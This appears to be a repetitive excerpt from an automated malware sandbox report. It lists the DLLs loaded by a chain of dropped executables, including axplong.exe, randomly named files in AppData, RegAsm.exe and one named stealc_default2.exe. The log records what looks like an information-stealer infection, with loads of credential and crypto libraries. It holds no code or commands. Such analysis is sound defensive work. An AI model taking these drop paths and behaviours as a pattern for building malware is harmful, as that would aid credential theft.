Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: esdsip.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: uxtheme.dll
